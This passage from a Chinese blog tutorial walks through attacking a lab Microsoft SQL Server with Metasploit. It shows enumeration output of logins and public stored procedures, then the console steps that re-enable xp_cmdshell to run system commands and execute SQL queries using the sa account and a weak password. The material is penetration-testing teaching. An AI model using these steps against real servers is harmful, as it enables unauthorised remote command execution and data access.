[*] 192.168.109.139:1433 -      d:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\modellog.ldf
[*] 192.168.109.139:1433 -  Database name:msdb
[*] 192.168.109.139:1433 -  Database Files for msdb:
[*] 192.168.109.139:1433 -      d:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\MSDBData.mdf
[*] 192.168.109.139:1433 -      d:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\MSDBLog.ldf
[*] 192.168.109.139:1433 - System Logins on this Server:
[*] 192.168.109.139:1433 -  sa
[*] 192.168.109.139:1433 -  ##MS_SQLResourceSigningCertificate##
[*] 192.168.109.139:1433 -  ##MS_SQLReplicationSigningCertificate##
[*] 192.168.109.139:1433 -  ##MS_SQLAuthenticatorCertificate##
[*] 192.168.109.139:1433 -  ##MS_PolicySigningCertificate##
[*] 192.168.109.139:1433 -  ##MS_SmoExtendedSigningCertificate##
[*] 192.168.109.139:1433 -  ##MS_PolicyTsqlExecutionLogin##
[*] 192.168.109.139:1433 -  NT AUTHORITY\SYSTEM
[*] 192.168.109.139:1433 -  NT SERVICE\MSSQLSERVER
[*] 192.168.109.139:1433 -  liuyazhuang-PC\liuyazhuang
[*] 192.168.109.139:1433 -  BUILTIN\Users
[*] 192.168.109.139:1433 -  ##MS_PolicyEventProcessingLogin##
[*] 192.168.109.139:1433 -  ##MS_AgentSigningCertificate##
[*] 192.168.109.139:1433 - Disabled Accounts:
[*] 192.168.109.139:1433 -  ##MS_PolicyTsqlExecutionLogin##
[*] 192.168.109.139:1433 -  ##MS_PolicyEventProcessingLogin##
[*] 192.168.109.139:1433 - No Accounts Policy is set for:
[*] 192.168.109.139:1433 -  All System Accounts have the Windows Account Policy Applied to them.
[*] 192.168.109.139:1433 - Password Expiration is not checked for:
[*] 192.168.109.139:1433 -  sa
[*] 192.168.109.139:1433 -  ##MS_PolicyTsqlExecutionLogin##
[*] 192.168.109.139:1433 -  ##MS_PolicyEventProcessingLogin##
[*] 192.168.109.139:1433 - System Admin Logins on this Server:
[*] 192.168.109.139:1433 -  sa
[*] 192.168.109.139:1433 -  NT AUTHORITY\SYSTEM
[*] 192.168.109.139:1433 -  NT SERVICE\MSSQLSERVER
[*] 192.168.109.139:1433 -  liuyazhuang-PC\liuyazhuang
[*] 192.168.109.139:1433 - Windows Logins on this Server:
[*] 192.168.109.139:1433 -  NT AUTHORITY\SYSTEM
[*] 192.168.109.139:1433 -  liuyazhuang-PC\liuyazhuang
[*] 192.168.109.139:1433 - Windows Groups that can logins on this Server:
[*] 192.168.109.139:1433 -  NT SERVICE\MSSQLSERVER
[*] 192.168.109.139:1433 -  BUILTIN\Users
[*] 192.168.109.139:1433 - Accounts with Username and Password being the same:
[*] 192.168.109.139:1433 -  No Account with its password being the same as its username was found.
[*] 192.168.109.139:1433 - Accounts with empty password:
[*] 192.168.109.139:1433 -  No Accounts with empty passwords where found.
[*] 192.168.109.139:1433 - Stored Procedures with Public Execute Permission found:
[*] 192.168.109.139:1433 -  sp_replsetsyncstatus
[*] 192.168.109.139:1433 -  sp_replcounters
[*] 192.168.109.139:1433 -  sp_replsendtoqueue
[*] 192.168.109.139:1433 -  sp_resyncexecutesql
[*] 192.168.109.139:1433 -  sp_prepexecrpc
[*] 192.168.109.139:1433 -  sp_repltrans
[*] 192.168.109.139:1433 -  sp_xml_preparedocument
[*] 192.168.109.139:1433 -  xp_qv
[*] 192.168.109.139:1433 -  xp_getnetname
[*] 192.168.109.139:1433 -  sp_releaseschemalock
[*] 192.168.109.139:1433 -  sp_refreshview
[*] 192.168.109.139:1433 -  sp_replcmds
[*] 192.168.109.139:1433 -  sp_unprepare
[*] 192.168.109.139:1433 -  sp_resyncprepare
[*] 192.168.109.139:1433 -  sp_createorphan
[*] 192.168.109.139:1433 -  xp_dirtree
[*] 192.168.109.139:1433 -  sp_replwritetovarbin
[*] 192.168.109.139:1433 -  sp_replsetoriginator
[*] 192.168.109.139:1433 -  sp_xml_removedocument
[*] 192.168.109.139:1433 -  sp_repldone
[*] 192.168.109.139:1433 -  sp_reset_connection
[*] 192.168.109.139:1433 -  xp_fileexist
[*] 192.168.109.139:1433 -  xp_fixeddrives
[*] 192.168.109.139:1433 -  sp_getschemalock
[*] 192.168.109.139:1433 -  sp_prepexec
[*] 192.168.109.139:1433 -  xp_revokelogin
[*] 192.168.109.139:1433 -  sp_resyncuniquetable
[*] 192.168.109.139:1433 -  sp_replflush
[*] 192.168.109.139:1433 -  sp_resyncexecute
[*] 192.168.109.139:1433 -  xp_grantlogin
[*] 192.168.109.139:1433 -  sp_droporphans
[*] 192.168.109.139:1433 -  xp_regread
[*] 192.168.109.139:1433 -  sp_getbindtoken
[*] 192.168.109.139:1433 -  sp_replincrementlsn
[*] 192.168.109.139:1433 - Instances found on this server:
[*] 192.168.109.139:1433 -  MSSQLSERVER
[*] 192.168.109.139:1433 - Default Server Instance SQL Server Service is running under the privilege of:
[*] 192.168.109.139:1433 -  NT AUTHORITY\NETWORKSERVICE
[*] Auxiliary module execution completed

重新载入xp_cmd功能

这里用到的是Metasploit的mssql_exec, 通过重新载入禁用的xp_cmdshell功能来运行系统级的命令

use auxiliary/admin/mssql/mssql_exec
show options
set CMD 'ipconfig'
set RHOST 192.168.109.139
set PASSWORD 123456
run

具体操作情况如下:

msf > use auxiliary/admin/mssql/mssql_exec 
msf auxiliary(admin/mssql/mssql_exec) > show options

Module options (auxiliary/admin/mssql/mssql_exec):

   Name                 Current Setting                       Required  Description
   ----                 ---------------                       --------  -----------
   CMD                  cmd.exe /c echo OWNED > C:\owned.exe  no        Command to execute
   PASSWORD                                                   no        The password for the specified username
   RHOST                                                      yes       The target address
   RPORT                1433                                  yes       The target port (TCP)
   TDSENCRYPTION        false                                 yes       Use TLS/SSL for TDS data "Force Encryption"
   USERNAME             sa                                    no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false                                 yes       Use windows authentification (requires DOMAIN option set)

msf auxiliary(admin/mssql/mssql_exec) > set CMD 'ipconfig'
CMD => ipconfig
msf auxiliary(admin/mssql/mssql_exec) > set RHOST 192.168.109.139
RHOST => 192.168.109.139
msf auxiliary(admin/mssql/mssql_exec) > set PASSWORD 123456
PASSWORD => 123456
msf auxiliary(admin/mssql/mssql_exec) > run

[*] 192.168.109.139:1433 - SQL Query: EXEC master..xp_cmdshell 'ipconfig'



 output
 ------
 
 Windows IP M�n
 
 
 *g�w�M�hV VPN - VPN Client:
 
    �ZSO�r`  . . . . . . . . . . . . : �ZSO�]�e_
    ޏ�cyr�[�v DNS T . . . . . . . : 
 
 �N*YQ�M�hV Bluetooth Q�~ޏ�c:
 
    �ZSO�r`  . . . . . . . . . . . . : �ZSO�]�e_
    ޏ�cyr�[�v DNS T . . . . . . . : 
 
 �N*YQ�M�hV ,g0Wޏ�c:
 
    ޏ�cyr�[�v DNS T . . . . . . . : localdomain
    ,g0W���c IPv6 0W@W. . . . . . . . : fe80::ccb2:bf07:23ba:9925%11
    IPv4 0W@W . . . . . . . . . . . . : 192.168.109.139
    P[Q�cx  . . . . . . . . . . . . : 255.255.255.0
    ؞��QsQ. . . . . . . . . . . . . : 192.168.109.2
 
 ��S��M�hV isatap.{5761F2CD-B72F-4D63-9594-8FFF71AE3A2D}:
 
    �ZSO�r`  . . . . . . . . . . . . : �ZSO�]�e_
    ޏ�cyr�[�v DNS T . . . . . . . : 
 
 ��S��M�hV ,g0Wޏ�c* 6:
 
    �ZSO�r`  . . . . . . . . . . . . : �ZSO�]�e_
    ޏ�cyr�[�v DNS T . . . . . . . : 
 
 ��S��M�hV isatap.localdomain:
 
    �ZSO�r`  . . . . . . . . . . . . : �ZSO�]�e_
    ޏ�cyr�[�v DNS T . . . . . . . : localdomain
 
 ��S��M�hV isatap.{BE1D7C8C-9941-432D-97A0-B5A8B6A37A0B}:
 
    �ZSO�r`  . . . . . . . . . . . . : �ZSO�]�e_
    ޏ�cyr�[�v DNS T . . . . . . . : 
 

[*] Auxiliary module execution completed
msf auxiliary(admin/mssql/mssql_exec) > 

运行SQL查询命令

use auxiliary/admin/mssql/mssql_sql
show options
set RHOST 192.168.109.139
set PASSWORD 123456
run

具体操作情况如下:

msf > use auxiliary/admin/mssql/mssql_sql
msf auxiliary(admin/mssql/mssql_sql) > show options

Module options (auxiliary/admin/mssql/mssql_sql):

   Name                 Current Setting   Required  Description
   ----                 ---------------   --------  -----------
   PASSWORD                               no        The password for the specified username
   RHOST                                  yes       The target address
   RPORT                1433              yes       The target port (TCP)
   SQL                  select @@version  no        The SQL query to execute
   TDSENCRYPTION        false             yes       Use TLS/SSL for TDS data "Force Encryption"
   USERNAME             sa                no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false             yes       Use windows authentification (requires DOMAIN option set)

msf auxiliary(admin/mssql/mssql_sql) > set RHOST 192.168.109.139
RHOST => 192.168.109.139
msf auxiliary(admin/mssql/mssql_sql) > set PASSWORD 123456
PASSWORD => 123456
msf auxiliary(admin/mssql/mssql_sql) > run

[*] 192.168.109.139:1433 - SQL Query: select @@version
[*] 192.168.109.139:1433 - Row Count: 1 (Status: 16 Command: 193)



 NULL
 ----
 Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64) 
    Jun 28 2012 08:36:30 
    Copyright (c) Microsoft Corporation
    Express Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor)


[*] Auxiliary module execution completed
msf auxiliary(admin/mssql/mssql_sql) > 

写在最后

如果你觉得冰河写的还不错,请微信搜索并关注「 冰河技术 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 冰河技术 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 冰河技术 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 冰河技术 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!

在 GitHub 上编辑此页
上次更新: 2026/4/29 16:18
Contributors: binghe001
Prev
Metasploit自定义FTP扫描模块
Next
Metasploit渗透VOIP
阅读全文
×

扫码或搜索:冰河技术
发送:290992
即可立即永久解锁本站全部文章

星球会员
跳转链接